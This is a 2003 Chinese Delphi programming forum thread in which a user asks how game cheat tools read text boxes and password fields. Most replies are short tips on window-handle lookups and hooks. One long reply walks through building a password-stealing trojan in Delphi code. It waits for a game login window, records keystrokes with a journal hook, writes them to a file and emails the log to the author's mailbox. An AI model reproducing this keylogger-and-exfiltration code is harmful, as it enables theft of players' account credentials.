■■我想知道,那些XX外挂是怎么取得程序中某个输入框里的内容的?

ioiboy 2003-08-24 09:36:17
我看见那些外挂可以自动取出如输入框,聊天记录框,甚至游戏密码框的内容...
我想知道那些程序是怎么做到的啊?
最好有程序例子..3X!
...全文
670 16 打赏 收藏 转发到动态 举报
写回复
用AI写文章
16 条回复
切换为时间正序
请发表友善的回复…
发表回复
karach 2003-09-18
  • 打赏
  • 举报
回复
要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件
ioiboy 2003-09-17
  • 打赏
  • 举报
回复
那有什么科学的呢?
不知道像大补贴,简单..那些是怎么做出来 的!
ioiboy 2003-08-26
  • 打赏
  • 举报
回复
这也是一个办法哟..但是不科学,呵呵!
fengyvn 2003-08-26
  • 打赏
  • 举报
回复
可不可以找到相应内存地址,然后直接取值?
就像游戏修改器一样.
ioiboy 2003-08-26
  • 打赏
  • 举报
回复
我是要取得游戏的信息...不是输入者的信息呀..
ioiboy 2003-08-25
  • 打赏
  • 举报
回复
我不想用鼠标钩子
能找到代码看看嘛?
ly_liuyang 2003-08-25
  • 打赏
  • 举报
回复
Dll的Hook技术了,网上有相关资料的
overtime 2003-08-25
  • 打赏
  • 举报
回复
wm_gettext message
IORILI 2003-08-25
  • 打赏
  • 举报
回复
我也想知道 再up
cgh1970 2003-08-25
  • 打赏
  • 举报
回复
帮你up
lxpbuaa 2003-08-25
  • 打赏
  • 举报
回复
用HOOK实现键盘监视等

————————————————————————————————————
宠辱不惊,看庭前花开花落,去留无意;毁誉由人,望天上云卷云舒,聚散任风。
————————————————————————————————————
ioiboy 2003-08-25
  • 打赏
  • 举报
回复
那我应该怎么做了?
lxpbuaa 2003-08-25
  • 打赏
  • 举报
回复
呵呵,稍微有点水平的软件,你用WM_GETTEXT是不可能取得密码的,因为它已经屏蔽你这个消息的外来调用了。

————————————————————————————————————
宠辱不惊,看庭前花开花落,去留无意;毁誉由人,望天上云卷云舒,聚散任风。
————————————————————————————————————

ioiboy 2003-08-25
  • 打赏
  • 举报
回复
■■我是楼主■■
procedure TForm1.Button1Click(Sender: TObject);
var
dd,hh: hwnd;
i: integer;
mem: pchar;
begin
dd := FindWindow(nil,'Legend Of Mir 3');
if dd>0 then
begin
hh := FindwindowEx(dd,0,pchar('Edit'),nil);
if hh>0 then
begin
i := SendMessage(hh,WM_GETTEXTLENGTH,0,0);
getmem(mem,i+1);
SendMessage(hh,WM_GETTEXT,i+1,LongInt(mem));
showmessage(strpas(mem));
end
else
showmessage('no such window');
end;
getmem(mem,0);
end;

为什么还不不能取得输入框的字符了?
TangJunLin2002 2003-08-24
  • 打赏
  • 举报
回复
FINDWINDOW 找到程序句炳
FINDWINDOWEX 找到输入框控件句柄
SENDMESSAGE WM_GETTEXT 大概是这样的!也可以用鼠标钩子实现!
在2000下需要用DLL实现!
panshanjun 2003-08-24
  • 打赏
  • 举报
回复
我也想知道, 帮你up 一把

5,392

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 开发及应用
社区管理员
  • VCL组件开发及应用社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧